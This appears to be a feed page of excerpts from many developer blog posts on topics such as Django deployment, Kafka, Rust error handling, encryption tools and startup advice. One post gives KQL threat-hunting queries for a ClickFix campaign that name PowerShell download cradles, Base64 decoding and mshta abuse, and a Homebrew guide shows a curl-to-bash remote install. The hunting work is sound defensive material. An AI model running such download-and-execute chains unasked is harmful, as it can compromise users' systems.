    Every company has a customer journey map. Usually it's beautiful. Color-coded stages, emotional peaks and valleys, touchpoint icons that look like they came from an expensive design system. And it's sitting in a Figma file nobody's opened since the workshop three months ago. Here's what I've noticed after reviewing dozens of CX initiatives: teams spend weeks mapping the ideal journey and about 20 minutes identifying where things actually fall apart. Then they wonder why their NPS isn't moving. The problem isn't journey mapping itself. It's that we've confused documentation with diagnosis. We're drawing maps of territories we hope exist instead of surveying the terrain customers actually navigate. Let me show you what works instead. Start with where customers get stuck. Not where you think …  ( 11 min )
    The Unseen Code: When Medical AI Reveals More Than Medicine by Arvind Sundararajan
    The Unseen Code: When Medical AI Reveals More Than Medicine Imagine training an AI to detect pneumonia from chest X-rays, only to discover it's also silently predicting a patient's insurance status. Seem impossible? What if the algorithm inadvertently learned to recognize subtle differences in image quality, scan settings, or even positioning that correlate with access to different levels of healthcare? The implications are profound. At the heart of this is the idea that AI, specifically deep learning models trained on medical images, can unintentionally learn and encode socioeconomic biases present within the data itself. The algorithm, in its pursuit of accuracy, picks up on subtle cues – variations in equipment, clinical workflows, or even the effects of chronic stress on lung tissue …  ( 7 min )
    Marketing Automation Tools: What Actually Works When You're Not an Enterprise
    Here's what nobody tells you about marketing automation: most tools are built for companies with dedicated ops teams, six-figure budgets, and the luxury of a 12-month implementation timeline. You probably have none of those things. I've watched countless businesses buy platforms they'll never fully use, spend months on setup, and eventually downgrade to something simpler. The automation dream turns into a nightmare of unused features and wasted budget. So let's talk about what actually works in 2025, when you're dealing with real constraints. The market's gotten weird. Every CRM now claims to be a marketing automation platform. Every email tool promises AI-powered everything. And everyone's racing to add features nobody asked for. Case in point: I counted 47 different tools at a recent Mar…  ( 11 min )
    Learning Rust: Custom Error types that actually work!
    TL;DR: GITHUB REPO. Tired of writing the same verbose error handling boilerplate in your Axum handlers? Me too! 🙄 By creating a custom AppError newtype that wraps anyhow::Error and implements IntoResponse + From, you can ditch all those ugly match statements and embrace the beautiful ? operator. Your handler functions go from messy error-matching shenanigans to clean, readable code that automatically converts any error into proper HTTP responses. It's like magic, but with more crabs! 🦀 Recently I've been digging a lot into the axum crate for any of my Rust web projects. There are plenty of options out there for Rust web applications, but it seems that we have all settled on Axum as the go to crate. Before you even start reading this, if you have not checked it out yet - do so now ...…  ( 11 min )
    Django Deployment : Day 14
    🚀 Django Learning Journey – Day 14 Today was the BIG day — I tried deploying my first ever Django app! 🌐 Choosing a Free Tier After researching deployment options, I chose Render. But everything after that was a rollercoaster 🚀🔥 💡 Important Lessons I Learned Today I finally understood why this file is crucial. 2️⃣ Why people name their environment folder .env Most tutorials use .env instead of venv or virt. 3️⃣ Static files & the root directory I had to configure a root directory for collecting static files and then run: python manage.py collectstatic --noinput I don’t fully understand what --noinput does yet… 4️⃣ Gunicorn for deployment Installed gunicorn and updated the start command: gunicorn todo_app.wsgi:application --bind 0.0.0.0:$PORT This finally got the app very close to going live. 🎉 The App Actually Went Live!! Here’s the URL I got on Render: https://to-do-list-django-4yp3.onrender.com I clicked with excitement… ❌ “DisallowedHost at /” My jaw dropped. This was such an important reality check: “Just because it works on your machine doesn't mean it works on the server.” I’m now learning why Django requires updating ALLOWED_HOSTS and what a server actually is. 🤝 I Need Some Help If you’ve deployed Django apps multiple times: How do you fix this DisallowedHost issue cleanly? What helped you understand how servers work without getting intimidated? What shocked you during your first deployment attempt? 🥹 Final Thoughts Even though today was full of errors… The learning curve is steep — but incredibly rewarding. Thank you all for being part of this journey 🙏 Failed yet proud : https://to-do-list-django-4yp3.onrender.com  ( 7 min )
    Building a Para MCP Server + Next.js Wallet Demo (with Kiro + MCP)
    para-mcp-server in one sentence para-mcp-server is a Para MCP server plus a Next.js demo UI that lets AI tools and humans share the same Para-powered auth and wallet flows. It’s a small lab for experimenting with: MCP tools that talk to Para Next.js UI that shows what the same flows look like in the browser AI-first workflows (Kiro, ChatGPT, etc.) that can trigger those flows from inside your editor or chat. From the typescript/community/mcp-tools/para-mcp-server folder you get: A Para MCP server Managed by xmcp via xmcp.config.ts Exposes Para operations to any MCP-capable client (ChatGPT, Kiro, etc.) A Next.js demo app Runs on http://localhost:3012 Shows end-to-end auth and wallet flows backed by Para Configurable Web3 infra Para API key and environment WalletConnect project ID …  ( 9 min )
    Next.js Weekly #108: React Email 5, Better Upload, Error Boundary, Anti-Vendor-Lock-In, StyleX, PWA App Icons in Next.js 16
    Hey folks, this is the first issue with the new template for the newsletter. I'm still working on the design, but I wanted to get it out there so you can see the changes. Let me know in case you have any feedback. – Erfan Ebrahimnia, Curator of Next.js Weekly React Email 5 The main announcement of this week is the release of React Email 5.0.0. This major version brings lots of improvements, including support for Tailwind 4, a new Dark Mode Switcher, Resend integration for team collaboration, and 8 new components like avatars, stats, and testimonials. It also adds compatibility with React 19.2 and Next.js 16 Don't Blindly Use useTransition Everywhere Nicolas takes a closer look at useTransition and why the React Docs example might not be a great starting point for real-world UX If you …  ( 8 min )
    Understanding Prototypal Inheritance in JavaScript: A Deep Dive
    Prototypal inheritance is one of JavaScript's most powerful yet misunderstood features. Unlike classical inheritance found in languages like Java or C++, JavaScript uses a prototype-based approach that's both flexible and elegant. Let's unpack this concept from the ground up. Imagine you're building a user management system. You have a basic user object with common properties and methods. Now you need to create admin and guest variants. Should you copy-paste all the user code? Absolutely not! This is where prototypal inheritance shines—it lets you build new objects on top of existing ones. [[Prototype]] Property Every JavaScript object has a secret weapon: a hidden property called [[Prototype]]. Think of it as a reference pointer that says, "If you can't find what you're looking for in m…  ( 9 min )
    Chess Engine
    So yesterday i started working on my chess engine, written in c++,i'm writing these blogs and a couple more i'll write in the future for quite a selfish reason (to track my progress) and also because i want someone else, confused like me in the future to use this, hopefully, as a road map to write their engine. right so i started yesterday, i started with well board representation, I'm a programmer not a writer so please forgive my fuck ups here and there, some times i won't make sense but lie to yourself and pretend you do understand what i'm on. I chose the most intuitive approach, the 8x8 array representation. ` from there i basically hard-coded each each in the 8x8 array. and then proceeded to have print function, which prints the pieces on the console, it maps a string i hard-coded to the enum values. something like 1.pieces = " PNBRQKpnbrqk" loop through array[8x8] check if array[i][j]!=empty if yes print " . " if no print pieces[array[i][j]] it works only because the string indices and the enum piece value match, hopefully that makes sense right now i just implemented a simple no rule move function this is my repo to keep up if you like https://github.com/PainIam/Pain_ENGINE  ( 6 min )
    Instalacion en Ubuntu de Homebrew y asdf (Gestor de Versiones Múltilenguaje)
    Links Homebrew asdf - version manager Homebrew es un gestor de paquetes de línea de comandos gratuito y de código abierto diseñado para macOS (y también Linux, bajo el nombre de Linuxbrew o Homebrew on Linux). Su propósito principal es simplificar la instalación y administración de software que Apple no incluye de forma nativa. ¿Para qué sirve? Te permite instalar miles de utilidades, herramientas de desarrollo (como Git, Node.js, Python), y otras aplicaciones con comandos simples como brew install . En esencia, facilita a los desarrolladores y usuarios avanzados obtener el software que necesitan en su sistema sin tener que compilarlo manualmente o buscar instaladores individuales. Es como una "tienda de aplicaciones" para tu terminal. /bin/bash -c "$(curl -fsSL https://raw.git…  ( 8 min )
    🚀 Neovim + COQ + Mason + LSP: Mini Guide
    This guide explains how to properly set up COQ.nvim autocomplete Mason and LSP servers in Neovim. It includes the most Make sure you have: ms-jpq/coq_nvim ms-jpq/coq.artifacts (optional, extra completions) williamboman/mason.nvim williamboman/mason-lspconfig.nvim neovim/nvim-lspconfig Example (lazy.nvim): { "ms-jpq/coq_nvim", branch = "coq", }, { "ms-jpq/coq.artifacts", branch = "artifacts", }, { "williamboman/mason.nvim", config = true, }, { "williamboman/mason-lspconfig.nvim", dependencies = { "neovim/nvim-lspconfig" }, }, COQ does not start automatically unless configured. vim.g.coq_settings = { auto_start = 'shut-up' } Alternatively, use manually later: :COQnow require("mason").setup() local coq = require("coq") require("mason-lspconfig").setup({ …  ( 6 min )
    My React template
    You can find the original post on my blog Lately I've found myself wanting to work on some side project ideas. Every time I had to implement the same stuff again and again: basic library configuration, routing, layout, forms, authentication. Most of the time I would start a project using Vite and copy-paste parts from other apps I'd worked on. That alone could take a couple of hours or days without making any progress on my idea. The things I usually need are simple. I like working with Tanstack Query for handling HTTP requests and caching. I implement authentication using sessions where an HTTP-only cookie is set by the backend, and on the frontend I make a request against a /me or /user endpoint to check if the user has a session. I set up some interceptors to log the user out on 401 req…  ( 7 min )
    Building a Custom TypeScript Client for Your REST API
    The examples in this post are available in a demo repository here: https://github.com/liavzi/custom-open-api-ts-client. In one of the projects I'm working on, we use a simple API service to communicate with the server: export class ApiService { private baseUrl = ''; constructor() { } get(endpoint: string): Observable { ... } post(endpoint: string, body: any: Observable { ... } } // when I need to use it apiService.get("iHateToCopyThisEveryTime").subscribe(response: AnotherTypeINeedToManuallyCreateEveryTime) => {}); The first problem is that I always have to manually pass the endpoint URL. This usually means copy pasting it from the backend, which is repetitive and easy to mess up. The second problem is even worse: whenever I need to GET or POST json dat…  ( 10 min )
    Tired of Rails one-off scripts becoming a nightmare? I built something for that.
    You know the drill. You need to run a script once to fix some data, update user preferences, or migrate something. You write a rake task, run it, and then... did it actually run? Did it work? If something breaks halfway through, how do you know where to restart? I got tired of this cycle, so I built script_tracker - a Ruby gem that treats your one-off scripts like migrations (but better). What it does: Tracks which scripts have run (no more "did I run this already?") Wraps everything in transactions (rollback on failure) Built-in progress logging ("Processing 1,247 of 10,000 users...") Batch processing helpers (because memory matters) Timeout support (no more runaway scripts) Simple rake commands to manage everything Before: # Some random rake task # Did this run? Who knows! rake data:fix_user_preferences After: # Clean, tracked, logged rake scripts:create["fix user preferences"] rake scripts:run rake scripts:status # See what ran and when The best part? If your script fails halfway through, you know exactly where, and you can handle retries properly. Why I built this: Real talk: This started as internal tooling at my company. We had too many “wait, did that script run?” conversations. Now our data migrations are as reliable as our schema migrations. The gem is open source and ready to use. Would love feedback from fellow Rails developers who’ve felt this pain. Check it out: https://github.com/a-abdellatif98/script_tracker What’s your biggest one-off script horror story? I bet this would have prevented it.  ( 7 min )
    The Hidden AI Tax on Tech Debt
    TL/DR: the larger your files are, the more you will likely pay for tokens using AI Sometimes files bloat: someone got lazy and did not separate concerns, someone was rushed to release the feature, someone silently quit or could care less. It is impossible to catalogue all the possible reasons. There are different views on the file sizes in the codebase, especially when it comes to frontend development, with some developers considering fine grained small files with single export, as was the case with one of the Angular's older style guides, or loose suggestions as it was once in React: see what works for you, you can start by putting everything in one file, or something like that. Both are valid approaches and usually developers go by their preferences. Yet, it is the end of 2025 and everyo…  ( 10 min )
    How to scrape websites that Selenium or Playwright can't
    Short answer: write your own browser plugin/extension. This is not overly difficult, thanks to today's abundance of documentation and samples.  ( 6 min )
    AI SDLC Transformation — Part 2: How to Measure Impact (and Avoid Vanity Metrics)
    When organizations begin adopting AI across their software delivery lifecycle, the first question is always the same: “How do we measure success?”. It sounds straightforward, but it’s one of the hardest parts of the transformation. What looks like success on a dashboard often hides the real story underneath. Most teams still rely on familiar SDLC metrics: velocity, cycle time, defect counts. These numbers look objective, but in AI-driven delivery they become vanity metrics when interpreted the old way. They show motion, not progress. Traditional metrics were designed for a world without self-learning systems. In AI-enhanced teams, early improvements are non-linear, often invisible, and rarely captured by the dashboards leaders are used to. During the transformation process, the first few s…  ( 9 min )
    Influencer Marketing in 2025: Beyond the Follower Count Theater
    Here's something that'll surprise exactly no one: buying followers is still happening. In 2025. With all the detection tools, platform crackdowns, and public embarrassments. But here's what actually is surprising—the brands winning at influencer marketing right now aren't the ones throwing money at accounts with a million followers. They're working with creators who have 3,000 engaged followers and conversion rates that would make your performance marketing team weep with joy. The influencer marketing landscape has split into two parallel universes. In one, brands still chase vanity metrics and celebrity partnerships that look great in boardroom presentations. In the other, smart marketers are building creator networks that actually move product and build communities. Guess which one has b…  ( 13 min )
    🛒 A COMPLETE CUSTOMER SHOPPING FEEDBACK SYSTEM
    A post by Engr. Ipaye Babatunde  ( 6 min )
    ArchitectGBT - How to Avoid Costly Mistakes When Selecting an LLM
    I was building allpub.co (a smart cross-platform publishing tool) when I hit a problem that code couldn't solve: which LLM should I actually use? It's late. I need AI-powered title generation, SEO extraction, and summaries for AllPub. Simple, right? Not even close. Should I use GPT-4? Great quality but insanely expensive. Claude 3 Haiku? Cheap but will it work well enough? Mistral? Llama? Deepseek? Each one has different tradeoffs. Speed versus cost. Quality versus infrastructure headaches. Three hours later I've got 47 browser tabs open and zero clarity. The frustrating part? I'm a developer. I can code anything. But I have no idea which LLM is actually right for my use case. And I'm betting thousands of other builders feel the exact same way. So I built a decision matrix. What's my actua…  ( 7 min )
    Creating hobby websites in 2025
    Hey, guys! Using a voice transcription AI tool, like Cursor's native recorder or "Wispr Flow", I brain dump all my ideas and requirements into text and save it in a PRD.md file or in a Google Doc. I also attach a bunch of other copy-pasted text that might be related to that project. I personally go with npx create-next-app@latest my-next-app --tailwind --typescript --eslint --app --turbopack and npx shadcn@latest init. Then, I use an AI Agent tool, such as Claude Code, to create the project. I paste the document create before into a prompt and add some extra details, for example: Project in nextjs, tailwind, shadcn components (don't create them, import them using shadcn commands), @neondatabase/serverless Neon DB, @stackframe/stack Stack Auth Full Prompt: https://gist.github.com/Markkop/765612eecb7f6a7e1c2564eda03b228b Now, using Claude Code and Cursor, I finish the integrations I want and the fixes needed. I also try to leverage AI at max via Playwright MCP/Chrome MCP/Cursor (browser testing) and Neon MCP (db updates). This is where I most leverage my dev knowledge: I guide the AI to build the features I plan, change libraries, follow patterns and so on. Finally, when I have something okayish to release, I setup Vercel and domains. When I started writing this post, I realized there's a lot of more profound knowledge applied to the process that is too much for write in a single post, so take this more as an overview of the process  ( 6 min )
    Kafka Architecture - The Complete Mental Model 🧠
    How all the pieces fit together to create a powerful streaming platform Understand the "Big Picture" - How events, topics, partitions, producers, consumers, brokers, and consumer groups all work together as one cohesive system. Think of this as getting a bird's eye view of the entire Kafka ecosystem! 🦅 The fundamental unit - an immutable fact representing something that happened. ┌─────────────────────────────────────┐ │ EVENT/RECORD │ ├─────────────────────────────────────┤ │ Key: user_456 │ │ Value: {"action": "purchase"} │ │ Timestamp: 2025-11-18 14:30:00 │ └─────────────────────────────────────┘ Everything in Kafka revolves around these! A collection of servers working together - NOT just one server! KAFKA CLUSTER ┌─────…  ( 14 min )
    Building an interactive map with Replit Agent: A software engineer tests vibe-coding efficiency
    Exploring funded brick-and-mortar companies on Wefunder isn’t easy, so I asked Replit Agent to build a map and see how much time AI could save me versus doing it manually. In about 3 hours and for roughly $22, it produced a fully searchable map of funded companies. Most of the cost came from the Agent inefficiently debugging an API integration and unnecessary reloads. If I had built it myself, it probably would’ve taken 4–5 hours to design, build, test, and deploy. Check out the code or explore the map below: Repo: 🔗 Wefunder Brick & Mortar App by kenakingkong on Replit Demo: 🔗 wefunder-brick-and-mortar-map.replit.app Keep reading for a full breakdown of what worked, what didn’t, and where AI saved time versus where it didn’t. Wefunder has thousands of funded companies, but the only way…  ( 8 min )
    🚀 How to Create My Startup? (A Developer-Friendly Guide)
    🎯 Step 0 — Validate the Problem Before you touch a line of code. Checklist: Can you describe the problem in one sentence? Have you talked to real humans with this problem? Are they already solving it with Excel / Notion / duct tape? Would they pay for a better solution? If yes → continue. If no → stop coding. Your MVP is not v1.0 — it's an experiment. Rules: One core feature One user flow Zero optional settings As little code as possible If you’re building microservices for an MVP — you're doing it wrong. Dev brain says: “Let me polish this 3 more weeks…” Ignore it. Announce your MVP in: Twitter/X Reddit Dev.to 😏 IndieHackers Niche communities Private Discord/Slack groups You aren’t launching a product — you're launching a conversation with users. Collect: Where users drop off What they click What confuses them What they expected to happen What they tried but couldn't do Then: Fix the biggest blockers Kill unused features Add what users repeatedly request Charging money early is not greedy — it's validation. Try: Beta pricing Preorders Founding users plan Usage-based billing Monthly subscriptions If people pay → real problem. If they don't → hobby project. Only after users ask for: Teams support API access Features in your backlog Reliability & uptime Then: Architect properly Add monitoring Set up CI/CD Secure the system Think about DB scaling Don’t start here — finish here. Don’t fall in love with code — fall in love with the problem Speed > Perfection User feedback > Your intuition Simple > Beautiful Done > Perfect Launch → Learn → Iterate → Repeat Go build it. 🚀  ( 7 min )
    Mastering Python Strings: More Than Just Text
    You’ve seen it a thousand times. You pull data from an API, scrape a webpage, or process a user submission, and what you get is a chaotic mess of text. Inconsistent capitalization, unwanted whitespace, jumbled formats—it’s the digital equivalent of a tangled ball of yarn. In the era of large language models and data-driven everything, our ability to expertly untangle and reshape this textual data is no longer a niche skill; it’s a foundational pillar of building intelligent, robust software. Python, with its design philosophy emphasizing readability and power, offers a superior toolkit for this very challenge. But mastering its str type goes beyond knowing how to declare a variable. It’s about understanding the subtle mechanics of immutability, the efficiency of different manipulation tech…  ( 12 min )
    Linen Layout
    Advent of Code 2024 Day 19 Part 1 This may be...like...really tricky The way I see it: I'm given a list of substrings And a list of long strings that contain many of the substrings, often the same one multiple times I have to match every character in a long string to some part or whole of the substrings Only when every character matches is the long string valid If even one character doesn't match, the long string is invalid The example's first desired design offers a glimpse at how complicated this process could be: r, wr, b, g, bwu, rb, gb, br brwrr Let's say I catalogued the patterns by their length: { 1: [r,b,g], 2: [wr,rb,gb,br], 3: [bwu] } The max length of a pattern is three, so I should never try to match more than three characters at a time. T…  ( 19 min )
    A Practical Guide to Profiling & Optimizing React Applications for Peak Performance 🚀
    Modern React applications are more powerful than ever—but that power comes at a cost. As components grow, data flows become complex, and user expectations rise, performance quickly becomes a critical success factor. Slow rendering, heavy bundles, and inefficient state updates don’t just affect metrics—they directly impact user satisfaction and business outcomes. Profiling and optimization are no longer optional skills; they’re essential for every frontend engineer building scalable, production-grade React apps. This guide provides a structured, hands-on walkthrough of how to identify performance bottlenecks, understand what metrics matter, and apply effective optimization strategies using modern React APIs and tooling. React’s declarative nature simplifies UI development—but it also masks …  ( 9 min )
    Reading Between the Lines: How Leaders Build Emotional Intelligence One Page (or Episode) at a Time
    The capacity to perceive and manage emotions separates competent managers from truly impactful leaders. This attribute, often termed emotional intelligence, is an invisible but profound source of influence within a business. It extends beyond technical skill and cognitive sharpness, resting instead on a leader’s ability to connect with and motivate people through shared understanding. The development of such sensitivity is not a sudden epiphany but a gradual process of exposure and introspection. A powerful method for cultivating growth is through consistent, thoughtful engagement with narrative and expert analysis, primarily found in literature and modern audio content. One of the central functions of literature is to provide simulated experience without real-world risk. By entering the n…  ( 10 min )
    API Reference
    Am I alone when I noticed that CakePHP API reference doesn't show class ancestor tree and implemented interfaces in each class page? 😮😮😮😮😮  ( 5 min )
    Making code fun again: An introduction to code golf
    Most programmers know about platforms like LeetCode, HackerRank, or Codeforces, and likely know the thrill of solving problems under constraints: time limits, memory budgets, edge cases, and algorithmic cleverness. But an elite few know about a different kind of challenge: quirky, creative, and surprisingly addictive: Code Golf. There are many places to play code golf. You probably have encountered Code Golf Stack Exchange in the sidebar on stack overflow, and the very competitive Code.golf. There are also smaller platforms like Byte Heist. (Disclaimer: I am affiliated with Byte Heist) In competitive coding, you usually optimize for speed or correctness. Your mission: It's two layers of puzzle: Your solution must work, but you must also contort and re-imagine it until it barely resembles t…  ( 9 min )
    Nested Loop and Hash Join for MongoDB $lookup
    SQL databases offer several join algorithms. The query planner selects the most efficient one by evaluating cardinality and estimated cost. For example, a Nested Loop join is ideal when the outer table has few rows and an index allows fast access to the inner table. In contrast, a Hash Join is better suited for situations where the outer table contains many rows and the inner table must be fully scanned, resulting in fewer costly loops. While MongoDB provides similar algorithms, adapted to flexible documents, being a NoSQL database means it shifts more responsibility to the developer. Developers must design for optimal data access, already in the data model, but has the advantage of resulting in more predictable performance. I'll base my example on a question on Reddit: Optimizing a MongoD…  ( 11 min )
    I Thought Low Pricing Would Be My Startup’s Advantage — Turns Out It Doesn’t Work That Way
    Hi everyone! 👋 My name is Serhii. I’m a .NET developer with 6+ years of experience and the founder of TaskJect (https://taskject.com) — a lightweight project-management tool built for small technical teams. Here on Dev.to I’ll be sharing the technical journey behind building TaskJect, lessons from running a small SaaS as a solo founder, and practical insights from real .NET development in production. Today, I want to talk about low pricing of SaaS services. How Is the Price Actually Formed? I keep asking myself this from time to time — especially when I look for a new tool and the price instantly turns me away. When I started building my own product, I set a goal to define a “minimum acceptable price” for users. Here’s what I mean by that as a technical specialist: Infrastructure You need to calculate exactly how many hardware resources one user consumes: servers, storage, databases, backups, monitoring — all of this forms the baseline cost. Technical Maintenance You need at least one engineer who will: handle system errors, maintain stability, ensure uptime, updates, and security. Technically, that’s all you need for a stable SaaS. So in theory, the final price could be quite low. But Here’s the Reality: Why “Cheap SaaS” Becomes a Problem ❗ 1. The market distrusts very low prices If it’s too cheap, people assume it’s a scam or an unstable product. There’s a psychological trust threshold. ❗ 2. Competition makes everything more expensive Getting user attention is the biggest hidden cost. And who wins this competition? The companies that can spend more and they can spend more because they earn more. In the end, there’s a paradox: Technically, SaaS could be cheap — but the market and competition push prices up.  ( 6 min )
    Gen AI para potenciar DevOps: ideas clave de mi participación como speaker en AWS Community Day Bolivia
    Este año tuve la oportunidad de participar en el AWS community day Bolivia, la solo fue una presentación técnica… fue basado en mi experiencia profesional y la forma de ver el rol DevOps hoy. ¿Por qué hablar de esto? Inspirandome en charlas del AWS RE:Invent 2024 nació mi charla No solo hable de herramientas, quería mostrar como estamos entrando en una etapa, done la IA ya es parte de nuestro día a día. El Camino hasta DevOps Seguridad.- Asegurarnos que nuestra aplicación no sea vulnerable Automatización CI/CD IaC Testing & monitoring Version control Feedback loops La IA Generativa como nueva etapa de DevOps ✅ Integración Continua: Reducción de distracciones para desarrolladores.- A veces nos cuesta entender los requerimientos que están en JIRA u otra app similar, aca podemos apoyarnos en…  ( 7 min )
    How to track Claude Code usage + analytics
    Now that you’ve gotten into the habit of working with Claude Code, you’re probably curious to see how efficiently you’re using it. For example, do you know how many tokens it’s taking you to complete a ticket on average? Since Claude tokens can run out and will reset after 5 hours, you might want to see how much you’re pushing it to the limit. We’ve tried three different ways to track our Claude Code usage. Here’s what we found. If you’re using the Anthropic API for Claude Code access (instead of through a Pro or Max plan), you can track your usage through the Anthropic Console. This is useful for devs and orgs who are doing the “pay as you go” approach, because your number of tokens consumed is directly correlated to how much you’re spending. If you’re a manager, you can see usage trends …  ( 8 min )
    KI zeigt nicht die Zukunft des Marketings. Sie zeigt den Zustand der Branche.
    KI zeigt nicht die Zukunft des B2B-Marketings. Sie zeigt, wie schwach es bisher war. Viele diskutieren darüber, ob KI das Marketing übernimmt. Ob Texter verschwinden. Ob Content wertlos wird. Die Wahrheit ist einfacher: KI ersetzt nicht das Marketing. KI ersetzt Marketing ohne Haltung. Die meisten B2B-Websites klingen identisch. „führend“ „innovativ“ „zuverlässig“ „maßgeschneidert“ Das sind keine Aussagen, das ist Verpackung. KI klingt nicht künstlich. Viele Unternehmen tun es. Und KI zeigt diesen Zustand jetzt ungeschönt. KI kann: strukturieren zusammenfassen erweitern glätten Was KI nicht kann: Position beziehen Risiko tragen Verantwortung übernehmen mutige Aussagen treffen Alles, was schon vorher wie Fließbandarbeit war, wirkt jetzt ersetzbar – weil es das ist. B2B entscheidet nicht wegen eines Posts. Auch nicht wegen 20. B2B entscheidet wegen: Vertrauen Expertise Klarheit Risikominimierung KI kann Text erzeugen. Aber KI kann keine Überzeugung erzeugen. Wenn ein Unternehmen unklar kommuniziert: KI skaliert Unklarheit. Wenn ein Unternehmen klare Aussagen trifft: KI skaliert Klarheit. Damit entstehen zwei Arten von Marken: Wer sagt, was Sache ist, wird durch KI stärker. Wer austauschbar klingt, wird durch KI noch austauschbarer. Sondern: „Was haben wir überhaupt zu sagen?“ Ein Unternehmen ohne Klarheit bekommt auch mit KI keine. Ein Unternehmen ohne klare Kundensprache bekommt auch mit Prompts keinen Tonfall. Technologie ohne Haltung ist ein Lautsprecher ohne Botschaft. KI wird Milliarden Texte produzieren. Viele davon „gut“. Nur wenige davon wirkungsvoll. KI beendet nicht die Kreativität. KI beendet die Ausreden. Wer Beispiele für klare Sprache im B2B sucht: https://plainrebels.com  ( 7 min )
    LuminoraCore v1.1: Your AI Memory That Actually Travels 🧠✨
    TL;DR: I built an open-source framework that gives AI persistent memory across platforms. Your ChatGPT conversations can inform Claude, your Claude chats can continue in Gemini. True data portability, privacy-first. Watch how memory persists when switching between ChatGPT, Claude, and other LLMs We've all been there: ChatGPT forgets your conversation from yesterday Claude doesn't know what you discussed with ChatGPT Gemini starts fresh every time Your data is locked to each platform Export options? LOL, good luck I was frustrated. I wanted my AI to remember me, know my preferences, and travel with me across platforms. So I built LuminoraCore. LuminoraCore isn't about building yet another chatbot. It's about creating portable AI identities that persist across: 🔄 Any LLM provider (OpenA…  ( 10 min )
    Hunting TTPs for the EVALUSION ClickFix Campaign Delivering Amatera Stealer & NetSupport RAT
    While investigating potential exposure to the recently reported EVALUSION ClickFix campaign, which abuses user-interaction-driven execution via the Win + R Run dialog, I focused on identifying suspicious execution patterns aligned with delivery behavior observed in the campaign. This campaign ultimately deploys Amatera Stealer and NetSupport RAT through a .NET-based downloader delivered from public file-sharing platforms. Detection #1 , Detect suspicious user-initiated execution via the Run dialog (Win + R) where the attacker abuses RunMRU registry key updates to execute payloads such as PowerShell or MSHTA — a core TTP observed in the ClickFix EVALUSION campaign DeviceRegistryEvents //| project Process_Creation, ProcessCreated, DeviceName, InitiatingProcessAccountName, FileName ,ProcessCommandLine Detection #2 – Suspicious mshta.exe Execution DeviceProcessEvents Detection #3 – Detect potentially malicious PowerShell execution DeviceProcessEvents (From.*Base64)." // Base64 payload decoding Detection #4 – This detection identifies cases where a file is downloaded from MediaFire—a file-hosting platform frequently abused by threat actors—and correlates it with suspicious PowerShell execution occurring within 10 seconds of the download event. DeviceFileEvents (From.*Base64)." Detection #5 – MSBuild-Spawned PowerShell Download Activity DeviceProcessEvents | where InitiatingProcessFileName =~ "msbuild.exe" | where FileName in~ ("powershell.exe","pwsh.exe") | where ProcessCommandLine has_any ("Invoke-WebRequest","DownloadFile","http","https","-enc","FromBase64String") | project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName  ( 7 min )
    How we built Hermes - a military-grade encryption tool that's ready for the quantum computing era
    The Problem That Kept Me Up at Night Here's something that doesn't get talked about enough: your encrypted data today could be decrypted tomorrow. It's called "harvest now, decrypt later" - adversaries are collecting encrypted communications right now, waiting for quantum computers powerful enough to break RSA and ECC. When that day comes (and cryptographers say it's not if, but when), all that data becomes readable. That thought led me to build Hermes - a secure file transfer system that's designed to survive the quantum apocalypse. Hermes is a command-line tool (and now web UI!) for secure file transfer that combines: RSA-4096 (battle-tested classical encryption) Kyber-1024 (NIST-selected post-quantum algorithm) Dilithium-5 (post-quantum digital signatures) AES-256-GCM (symmetric encry…  ( 10 min )
    Setup Hashicorp Vault + Vault Agent on Docker Compose
    Files First create a directory for put the config files, i will put in /opt/vault Create the docker-compose.yml services: init_vault: image: alpine:latest container_name: init_vault group_add: - 3001 volumes: - vault-data:/vault/data:rw - certs:/tmp/certs/:rw - secrets:/secrets:rw command: > /bin/sh -c "apk add --no-cache openssl && \ openssl req -x509 -newkey rsa:4096 -sha256 -days 365 \ -nodes -keyout /tmp/certs/vault-key.pem -out /tmp/certs/vault-cert.pem \ -subj '/CN=vault' \ -addext 'subjectAltName=DNS:vault,IP:127.0.0.1' && \ chown -R 100:3001 /vault/ /tmp/certs /secrets && \ chmod -R 0750 /secrets/ && \ exit 0" vault: image: "hashicorp/vault:latest" restart: unless-stopped …  ( 10 min )
    🚀 I just built Datana - a secure local database system!
    Hey dev community! 👋 I'm excited to share Datana - a project I've been passionately working on that brings enterprise-level security to local database management. In a world where data breaches are daily news, I wanted to create something that gives developers and organizations complete control over their sensitive data. No cloud dependencies, no third-party risks - just pure, secure local storage. Datana is a secure, terminal-based database system that doesn't compromise on security or features. Think of it as your own personal vault for sensitive data. python from cryptography.fernet import Fernet from core.config_manager import get_encryption_key key = get_encryption_key() fernet = Fernet(key) encrypted_data = fernet.encrypt(sensitive_data) Clone and setup git clone https://github.com/ashkanmirgomari/datana.git cd datana pip install -r requirements.txt # 2. Run (first time creates default users) python project.py # 3. Login with: # Username: root # Password: root Progress Animations: Beautiful loading bars for all operations Advanced Search: Regex, date ranges, field-specific queries Auto-backup: Configurable automatic encrypted backups System Analytics: Real-time monitoring and reporting Export Capabilities: CSV exports with custom formatting This is just the beginning! I'd love to: Hear your feature suggestions Get security audits from the community See forks for specific use cases Collaborate on enterprise features Check out the GitHub repo and let me know what you think! ⭐ GitHub: https://github.com/ashkanmirgomari/datana Would love to hear your thoughts, suggestions, and use cases! What features would you add? 🔥  ( 6 min )
    The CRO Test That Killed Our Best-Performing Page (And What We Learned)
    We decreased conversions by 34% in a single afternoon. Not the headline you typically see in conversion rate optimization case studies, is it? Most articles promise 10x growth with three simple button color changes. (Spoiler: that's not how any of this works.) But here's what happened, and more importantly, what it taught us about CRO that actually matters in 2025. The page in question was converting at 8.2%—solid for a mid-funnel resource. Someone on the team suggested we "optimize" it with a more prominent CTA, cleaner design, and some urgency language. Classic CRO playbook stuff. We ran the test. Conversions tanked. Turns out, people were using that page as a research tool. They'd bookmark it, share it with colleagues, come back multiple times. Our "optimization" turned a useful resour…  ( 12 min )
    That's what I was missing. Must-read for developers that want to build a solid software!
    Clean architecture with Next.js Daniel Malek ・ Aug 5 '24 #nextjs #cleancode #architecture #javascript  ( 6 min )
    Connecting Power BI to PostgreSQL (Localhost & Aiven Cloud)
